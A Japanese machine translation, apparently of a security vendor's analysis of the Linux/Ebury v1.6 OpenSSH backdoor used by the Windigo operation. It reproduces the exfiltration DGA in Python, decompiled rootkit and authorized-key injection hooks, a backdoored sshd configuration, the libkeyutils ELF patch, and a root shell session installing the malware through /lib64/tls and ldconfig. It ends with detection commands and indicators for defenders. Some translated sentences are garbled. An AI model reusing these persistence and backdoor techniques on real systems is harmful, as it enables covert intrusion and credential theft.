りィンディゎ䜜戊Linux / Eburyアップデヌト

2014幎2月、ESETりむルスラボは、バックドアず、資栌情報を盗むためのLinux / EburyマルりェアのOpenSSH 調査を導入したした 。 さらなる調査により、このコンポヌネントは、Windigo操䜜に関䞎するいく぀かのマルりェアファミリのコレクションの䞭栞であるこずが瀺されたした。 この発芋は、このサむバヌキャンペヌンを説明するレポヌトの基瀎ずなりたした。


2017幎2月、新しい機胜をサポヌトするEburyのサンプルを発芋したした。 新しいバヌゞョン番号は1.6.2aです。 このサンプルが発芋された時点で、私たちが知っおいる最埌のバヌゞョンは1.5.xで、数か月前に特定されたした。 さらなる調査の過皋で、ID盗難の原因ずなるむンフラストラクチャは珟圚も運甚䞭であり、EburyはWindigoサむバヌグルヌプによっお積極的に䜿甚されおいるこずに気付きたした。

最初に、バヌゞョン1.4のEburyの䟵害の兆候IoCをリストしたした。 CERT-Bundは、バヌゞョン1.5のIoCを公開しおいたす。 この投皿では、2017幎2月にオヌプンしたバヌゞョン1.6のテクニカル分析ず、バヌゞョン1.5および1.6のIoCを玹介したす。

バックアップの抜出甚の新しいDGA


Ebury v1.4は、ドメむン生成アルゎリズムDGAに基づくバックアップメカニズムを提䟛したす。これは、攻撃者がOpenSSHバックドアを介しお感染システムに3日間接続しない堎合に䜿甚されたす。 これらの条件䞋で、Eburyは生成されたドメむンを䜿甚しお収集されたデヌタを転送したす。 Ebury v1.6にも同じメカニズムがありたすが、DGA自䜓に小さな倉曎がありたす。 これら2぀のバヌゞョンでは、以䞋に瀺すように、定数のみが異なりたす。

Ebury v1.6の新しいPython実装

def DGA(domain_no): TLDS = [ 'info', 'net', 'biz' ] KEY = "fmqzdnvcyelwaibsrxtpkhjguo" h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g 

Pythonのバヌゞョン1.4ず1.6のDGAの違い

 @@ -1,10 +1,10 @@ def DGA(domain_no): KEY = "fmqzdnvcyelwaibsrxtpkhjguo" - h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF) + h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: - g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)] + g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] - g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)] + g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g 

DGAによっお生成された最初の10ドメむン

larfj7g1vaz3y.net
idkff7m1lac3g.biz
u2s0k8d1ial3r.info
h9g0q8a1hat3s.net
f2y1j8v1saa3t.biz
xdc1h8n1baw3m.info
raj2p8z1aae3b.net
o9f3v8r1oaj3p.biz
tav4h8n1baw3r.info
hdm5o8e1tas3n.net


Eburyは、オペレヌタヌによっお䜜成されたTXTレコヌドを持぀ドメむンが芋぀かるたで、生成されたドメむン名を順次詊行したす。 ドメむン所有者を確認するために、Eburyはコヌドに埋め蟌たれたRSA公開キヌを䜿甚しおTXTレコヌドを埩号化できるかどうかを確認したす。

larfj7g1vaz3yのDNSレコヌド[。]ネット
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----


larfj7g1vaz3y.net. 1737 IN A 78.140.134.7
larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="


Eburyはドメむンレコヌドを無芖したす。

埩号化された情報は、3぀のCSVフィヌルドで構成されたす。 以䞋は、larfj7g1vaz3y [。] NetのDNSレコヌドに保存されおいるデヌタのサンプルです。2018幎1月の堎合

larfj7g1vaz3y[.]net:3328801113:1504126800

最初のフィヌルドにはドメむン名が含たれおいるため、眲名されたデヌタを別のドメむンで再利甚するこずはできたせん。 2番目のフィヌルドは、CCサヌバヌのIPアドレスです。 3番目のフィヌルドには、眲名枈みデヌタの有効期限ずしお䜿甚されるUNIXタむムスタンプが含たれたす。 有効期限-バヌゞョン1.6以降、シンクホヌルメ゜ッドをバむパスするために远加された新しいフィヌルド。 誰かが盗たれたデヌタの送信先のサヌバヌ゚クスフィケヌションサヌバヌのドメむンずIPアドレスを匕き継ごうずするず、眲名されたデヌタは限られた時間しか䜿甚できたせん。 これにより、ほがすべおの以前のバヌゞョンのDGAで発生する同期の詊行が成功した堎合の圱響が軜枛されたす。


衚1. TXTレコヌドに栌玍されおいるデコヌドされた情報

Eburyのオペレヌタが実際にバックアップチャネルを䜿甚したいずは考えおいたせん。 調査したサンプルでは、​​倚くのバグが芋぀かりたした。そのため、メカニズムを完成させるこずができたせん。 コヌドは明らかに完党なテストに合栌したせんでした。 このため、Eburyのオペレヌタヌが感染したマシンぞのアクセスを倱うこずはほずんどないず想定できたす。 おそらく、圌らは少数の損倱を心配しおいない-圌らの制埡䞋で、倚くのシステム。 非皌働メカニズムを実装するためにこれほど倚くの努力が払われた理由は䞍明です。

倉曎の抂芁
-わずかに倉曎されたDGA定数の倉曎
-デヌタ収集サヌバヌのDNSレコヌドを確認するための有効期限を远加
-新芏登録ドメむンlarfj7g1vaz3y [。] Net
-盗たれたデヌタの送信先サヌバヌの新しいIPアドレス198 [。] 105.121.89

新機胜


バヌゞョン1.6で新しい機胜が远加されたした。 理由は䞍明ですが、このバヌゞョンのすべおの調査サンプルで利甚できるわけではありたせん。

Eburyは珟圚、䞀般に「ナヌザヌモヌドルヌトキット」 ナヌザヌモヌドず呌ばれるセルフマスキングテクニックを䜿甚しおいたす。 これを行うために、プログラムはreaddirたたはreaddir64むンタヌセプトしたす。これらはそれぞれ、ディレクトリ゚ントリのリストをコンパむルするために䜿甚されたす。 返される次のディレクトリ構造がEbury共有ラむブラリファむルである堎合、トラップはそれをスキップし、代わりに次の゚ントリを生成したす。

Hex-Raysデコンパむラヌのreaddirトラップの出力

struct dirent *__fastcall readdir(__int64 a1)
{
struct dirent *dir_entry; // rax
struct dirent *dir_entry_1; // rbx
__ino_t inode; // rax

do
{
if ( !readdir_0 )
readdir_0 = F_resolve_func("readdir");
dir_entry = readdir_0(a1);
dir_entry_1 = dir_entry;
if ( !exports_hook_activated )
break;
if ( !dir_entry )
break;
if ( !ebury_inode )
break;
inode = dir_entry->d_ino;
if ( inode != ebury_inode && inode != ebury_lstat_inode )
break;
}
while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
ebury_filename_len_before_extension) );
return dir_entry_1;
}


トラップのアクティブ化は、動的なラむブラリを各sshd子孫プロセスに泚入するこずにより、Eburyによっお実行されたす。 サブプロセスに自身を泚入するために、Eburyはexecveをむンタヌセプトし、動的リンカヌ倉数LD_PRELOADを䜿甚したす。 新しいプロセスが䜜成されるたびに、EburyはLD_PRELOAD=<Ebury_filename>を環境に远加したす。

srvfail.comの蚘事では、Eburyによっおマシンが䟵害されたずされるナヌザヌのStackExchangeのスレッドに蚀及しおいたす 。 圌が説明する振る舞いは、Eburyバヌゞョン1.6.2aで芳察した自己マスキング技術ず䞀臎しおいたす。

Eburyの以前のバヌゞョンはOpenSSHの特定のバヌゞョンで動䜜し、Linuxディストリビュヌションに䟝存しおいたした。 これはそうではありたせん。 OpenSSHパッチを適甚するためのほずんどのプラクティスは、機胜フックに眮き換えられたした。 同じサンプルを䜿甚しお、Debian Jessie、CentOS 7、およびUbuntu ArtfulマシンにEburyをむンストヌルしおみたしたが、すべおのケヌスで機胜したした。

OpenSSHサヌバヌ構成を挿入するために、バむナリsshdコヌドがEburyメモリに盎接解析されたす。これは、2぀の異なる機胜を探しお同じプロセスで衚瀺されたす。 アドレスparse_server_configたたはprocess_server_config_lineを芋぀けようずしたす。 詊行が倱敗した堎合、SELinux Role-Based Access Controlを無効にし、PAMモゞュヌルを無効にするこずにより、セキュリティ機胜が䜎䞋したす。 関数の1぀が正垞に凊理されるず、Eburyはバックドアを䜿甚したsshd構成の倉曎䞭にそれを䜿甚したす。

バックドアが䜿甚する構成

PrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any


Eburyの著者は、バックドアメカニズムも匷化しおいたす。 SSHのクラむアント偎バヌゞョンで゚ンコヌドされたパスワヌドに䟝存する代わりに、バックドアをアクティブ化するには認蚌甚の秘密鍵が必芁になりたした。 おそらく、この远加のチェックは、バックドアのパスワヌドを芋぀けるこずができる人に、䟵害されたEburyサヌバヌぞのアクセスを防ぐために远加されたものです。

RSA公開鍵Eburyオペレヌタヌ
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub


バックドアに接続しようずするず、EburyはAuthorizedKeysFileオプションを/proc/self/environを指すように倉曎したす。 openたたはopen64をフックし、 /proc/self/environたたは.ssh/authorized_keysを含むパスを開く詊みがあるかどうかを確認し.ssh/authorized_keys 。 Eburyがparse_server_configおよびprocess_server_config_lineを凊理しお構成の転送を匷制できない堎合、2番目のチェックをバックアップずしお䜿甚できたす。 Eburyはfgetsもむンタヌセプトしたす。これは、 sshdがauthorized_keysファむルの内容を読み取るために呌び出したす。 グロヌバル倉数は、authorized_keysファむルを開いた埌にfgetsが呌び出されるようにするために䜿甚されたす。 その埌、トラップはfgetsバッファヌをEburyオペレヌタヌの公開キヌで埋めるため、認蚌には攻撃者キヌが䜿甚されたす。

Hex-Raysデコンパむラヌのfgetsトラップの出力

char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
int fd_env; // ebp
char *result; // rax

if ( !(backdoor_command & 1) )
return fgets_0(s);
fd_env = fd_proc_self_environ;
if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
return fgets_0(s);
strcpy(
s,
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
result = s;
fd_proc_self_environ = 0;
return result;
}


メモリコピヌ機胜 memcpy のトラップフックの目的はただ確立されおいたせん。

Hex-Raysデコンパむラヌのmemcpyトラップの出力

char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
size_t len_1; // r12
char *result; // rax

len_1 = len;
memcpy_orig(dst, src, len);
if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )
result = memcpy_orig(dst, src + 30, len_1 - 30);
else
result = dst;
return result;
}


SSH鍵亀換䞭にchacha20-poly1305アルゎリズムを削陀するためにトラップが䜿甚されるこずがわかっおいたす。 Eburyの䜜者がこのアルゎリズムの䜿甚を望たないのは奇劙です。

新しいむンストヌル方法


Eburyはlibkeyutils.so 、 libkeyutils.soラむブラリにペむロヌドを远加しおいlibkeyutils.so 。 このファむルには、libkeyutilsの正圓な機胜ずブヌト時に起動された悪意のあるEburyコヌドの䞡方が含たれおいたした。 感染した堎合、ファむルサむズは通垞よりも倧きくなりたした。これは、2014幎に䟵害の兆候ずしお指摘したした。

バヌゞョン1.6.2でこの方法がどのように䜿甚されるかを芳察したしたが、Eburyの䜜者は䟵害の指暙を回避する新しい方法を思い぀きたした。 ただlibkeyutils.soファむルを䜿甚しおlibkeyutils.soたすが、方法は異なりたす。

私たちの芳察に基づいお、スクリプトず実装方法は、攻撃を受けおいるシステムのLinuxディストリビュヌションによっお異なりたす。

Debian / Ubuntu

Debian / Ubuntuシステムでは、新しい方法を䜿甚しおEburyが展開されたす。 libkeyutils.so OpenSSHクラむアントおよびOpenSSHサヌバヌの実行可胜ファむルによっおロヌドされるため、攻撃者にずっお興味深い暙的です。 以前に、シンボリックリンクlibkeyutils.so.1を倉曎しおラむブラリの悪意のあるバヌゞョンを瀺すこずにより、Eburyがむンストヌルされたこずに気付きたした。 倉曎されたラむブラリには、Ebury初期化コヌドが栌玍されるコンストラクタがありたす。 libkeyutils.soがロヌドされるたびに、 libkeyutils.soが呌び出されたす。 したがっお、クラむアントたたはOpenSSHサヌバヌが起動するたびに、Eburyがプロセスに挿入されたす。

Debian / Ubuntuの最新の実装方法は、 libkeyutils.soパッチに基づいおおり、別の.soファむルに保存されおいるEburyを匷制的にロヌドしたす。 元のバヌゞョンずパッチを適甚したバヌゞョンを比范するず、ELFファむルヘッダヌの.dynamicセクションに远加の゚ントリがあるこずがわかりたした。 レコヌドのタむプはNEEDED0x01です。これは、実行可胜ファむルの䟝存関係ず、操䜜䞭にロヌドされるこずを瀺したす。 調査した展開スクリプトでは、ダりンロヌド可胜なラむブラリはlibsbr.soず呌ばれ、悪意のあるEburyコヌドが含たれおいたす。

元のlibkeyutils.soずパッチを適甚したlibkeyutils.soの動的セクションの違い
--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@

-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0xdf0
0x000000006ffffff9 (RELACOUNT) 3
+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]
0x0000000000000000 (NULL) 0x0


パッチを適甚するプロセスは、2぀のステップで構成されおいたす。 たず、バむナリファむルの行のテヌブルに「 libsbr.so 」ずいう行を配眮する必芁がありたす。 次に、タむプ0x1DT_NEEDEDの新しい゚ントリをELFファむルヘッダヌの動的セクションに远加する必芁がありたす。 Eburyの䜜者は、文字列「 __bss_start 」を「 _\x00libsbr.so 」に眮き換えたした。 __bss_start動的リンカヌによっお䜿甚されないため、このシンボルを倉曎しおもラむブラリの実行には圱響したせん。 次の図は、元のlibkeyutils.soず倉曎されたlibkeyutils.so行libkeyutils.soの違いを瀺しおlibkeyutils.soたす。


図1.元の行テヌブルずパッチを適甚した行テヌブルの違い

libsbr.so行が行テヌブルに保存されたので、 .dynamicセクションに新しい゚ントリを远加する必芁がありたす。 図2は、元のlibkeyutils.soずパッチを圓おたlibkeyutils.soの.dynamicセクションの違いを瀺しおいたす。


図2.オリゞナルずパッチを適甚したlibkeyutils.soの.dynamicセクションの違い

.dynamicセクションには、amd64バむナリ甚のElf64_Dyn配列ずi386甚のElf64_Dyn配列が含たれおいたす。 これらの構造の定矩を以䞋に瀺したす。

.dynamicセクションに関連付けられた構造
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;


libkeyutils.soの64ビットバヌゞョンを以䞋に瀺したす。 したがっお、.dynamicセクションの新しい゚ントリは次のように蚘述できたす。

.dynamicの新しい゚ントリ
Elf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;


ステルス性を高めるため、Eburyのオペレヌタヌはlibkeyutils1パッケヌゞのMD5合蚈にパッチを適甚するようにしたした。 単玔なパッケヌゞ敎合性チェックを䜿甚しおシステムの感染をチェックするこずはできたせん。 同様のコマンドぱラヌを衚瀺したせん。

パッケヌゞ敎合性チェックコマンド $ dpkg --verify libkeyutils1

別のラむブラリずしおデプロむされる堎合、Eburyは倚くのファむル名を䜿甚したす。 以䞋は、既知のファむル名のリストです。
-libns2.so
-libns5.so
-libpw3.so
-libpw5.so
-libsbr.so
-libslr.so

CentOS

Debian / Ubuntuでの展開に䜿甚されるものず同様の手法は、CentOSにも適甚されたす。 攻撃者はlibkeyutils.so.1パッチにパッチを圓おお、远加のラむブラリのダりンロヌドを匷制したす。 さらに、CentOS / RedHatシステムにEburyを実装するために䜿甚される新しい手法に気付きたした。 むンストヌルプロセスの詳现はただわかりたせんが、䞀郚のオンラむンレポヌトを衚瀺するこずで、実装の仕組みに぀いおいく぀かの仮定を立おるこずができたした。

Debianの実装に䌌た方法で、Eburyがlibkeyutilsファむルによっお別の共有オブゞェクトずしおデプロむされおいるこずを知っおいたす。 バヌゞョン1.6の実装方法ず思われる別のむンストヌル方法を確認したした。 Eburyの以前のバヌゞョンず同様に、オペレヌタヌは独自のバヌゞョンのlibkeyutils.so䜜成し、それに悪意のあるコヌドを含むコンストラクタヌを远加したした。 libkeyutils.so.1を/lib/たたは/lib64/から倉曎する代わりに、動的リンカヌはこのディレクトリから䟝存関係の凊理を開始するため、ファむルを/lib{,64}/tls/ 。

このバヌゞョンの実装プロセスは、被害者のシステムのアヌキテクチャに応じお、 /lib/tls/たたは/lib64/tls/にEburyを配眮するこずから始たるず考えおい/lib64/tls/ 。 次に、 ldconfig実行するず、悪意のある共有オブゞェクトを瀺すシンボリックリンク/lib{,64}/tls/libkeyutils.so.1自動的に䜜成されたす。

ldconfigを䜿甚しお、Eburyを/ lib64 / tls /にデプロむしたす。

[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
[root@c2093ca76055 lib64]# cp libkeyutils.so.1.5 /lib64/tls/
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
[root@c2093ca76055 lib64]# ldconfig
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
[root@c2093ca76055 lib64]# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5


さらに、これは、シンボリックリンクを操䜜したり、実装䞭に問題が発生した堎合に元の共有libkeyutilsオブゞェクトのバックアップコピヌを保存したりする必芁のない単玔なアンむンストヌルシステムに察しおも行われたす。 /lib{,64}/tls/の悪意のあるlibkeyutils.soファむルを削陀しおから、 ldconfig再床実行しお、システムを元の状態に戻すだけで十分です。

ldconfigを䜿甚しおEburyを削陀したす。

[root@c2093ca76055 tls]# pwd
/lib64/tls
[root@c2093ca76055 tls]# ls -l
total 16
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
[root@c2093ca76055 tls]# rm libkeyutils.so.1.5
[root@c2093ca76055 tls]# ldconfig
[root@c2093ca76055 tls]# ls -l
total 0
[root@c2093ca76055 tls]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
[root@c2093ca76055 tls]# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5


tls 、Linuxブヌトロヌダヌ機胜で䜿甚されたす。 このため、CPUが远加のコマンドセットをサポヌトしおいる堎合、このディレクトリにあるコマンドは「通垞の」コマンドよりも高い優先床を取埗したす。

おわりに


Maxim Senahの逮捕にもかかわらず、Windigoボットネットは匕き続き機胜したす。 LinuxボットネットのコアコンポヌネントであるEburyは、倚くの重芁な改善を獲埗したした。 珟圚、圌は自己マスキング技術ずOpenSSH関連プロセスぞの新しい泚入方法を䜿甚しおいたす。 さらに、新しいドメむン生成アルゎリズムDGAを䜿甚しお、攻撃者の秘密キヌで眲名された有効なTXTドメむンレコヌドを怜玢したす。これには、デヌタ収集サヌバヌのIPアドレスが含たれたす。 眲名されたデヌタの再利甚を防ぐために有効期限が远加され、同期の詊行を防ぐのに圹立ちたす。 Windigoのオペレヌタヌは、公開されおいる䟵害指暙を定期的に確認し、゜フトりェアが怜出されないように調敎したす。 よく知られおいるIoCを䜿甚しおシステムの感染を刀断する際には、これを考慮に入れる必芁がありたす。公開が早ければ早いほど、すでに叀くなっおいる可胜性が高くなりたす。

䟵害むンゞケヌタ


このセクションでは、䟵害の指暙を公開したす。これは、Eburyの最新バヌゞョンを刀断するのに圹立ちたす。 コミュニティがシステムの感染を刀断できるように支揎したすが、完党であるずは䞻匵したせん。

Eburyは珟圚、UNIX゜ケットを䜿甚しお倖郚デヌタ盗難プロセスず通信しおいたす。 ほずんどの堎合、゜ケット名は「 /tmp/dbus- 」で始たりたす。 実際のdbusは、同様の方法で゜ケットを䜜成できたす。 ただし、Eburyは正圓なdbus関連しないプロセスを介しおこれを行いたす。 次のコマンドの結果が゜ケットの堎合、これは疑わしいです。

$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus

以䞋は、Eburyがデヌタをリヌクするために䜿甚するこずがわかっおいるプロセスのリストです。
-監査枈み
-crond
-アナクロン
-arpd
-鋭い
-rsyslogd
-udevd
-systemd-udevd
-atd
-ホスト名
-同期

CentOS / Redhatでは、 /lib/tls/たたは/lib64/tls/ libkeyutils.so*ファむルが存圚するこず/lib64/tls/です。

objdump -x libkeyutils.so.1 たたはreadelf -d libkeyutils.so.1 を実行するず、ELFファむルの動的ヘッダヌセクションが衚瀺されたす。 libcたたはlibdl以倖のNEEDEDタグタむプ1を持぀ものは疑わしいように芋えたす。

$ objdump -x /lib64/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so

お䜿いのマシンがルヌトスペヌスナヌザヌスペヌスを持぀Eburyバヌゞョンに感染しおいる堎合、これを刀断する方法はたくさんありたす。 Eburyは、動的リンカヌLD_PRELOADシステム倉数を䜿甚しお自身を実装するため、別のシステム倉数を䜿甚しお動的リンカヌプロセスを怜出できたす。 libkeyutilsべきでないプロセスにロヌドするず、システムがルヌトキット察応バヌゞョンのEburyに感染しおいる可胜性が高くなりたす。 次のコマンドが結果を返す堎合、それも疑わしいです

$ LD_DEBUG=symbols /bin/true 2>&1| grep libkeyutils

感染したマシンを怜出した堎合、Windigoは远加のマルりェアをむンストヌルするこずがあるため、システムを完党に再むンストヌルするこずをお勧めしたす。 Eburyによっお䟵害されたマシンは、他のマルりェアに感染する可胜性もありたす。 たた、すべおのナヌザヌ資栌情報ずSSHキヌが危険にさらされおいるこずを考慮しおください- それらをすべお倉曎しおください 。


衚2. Ebury関連ハッシュ

Source: https://habr.com/ru/post/J342392/


All Articles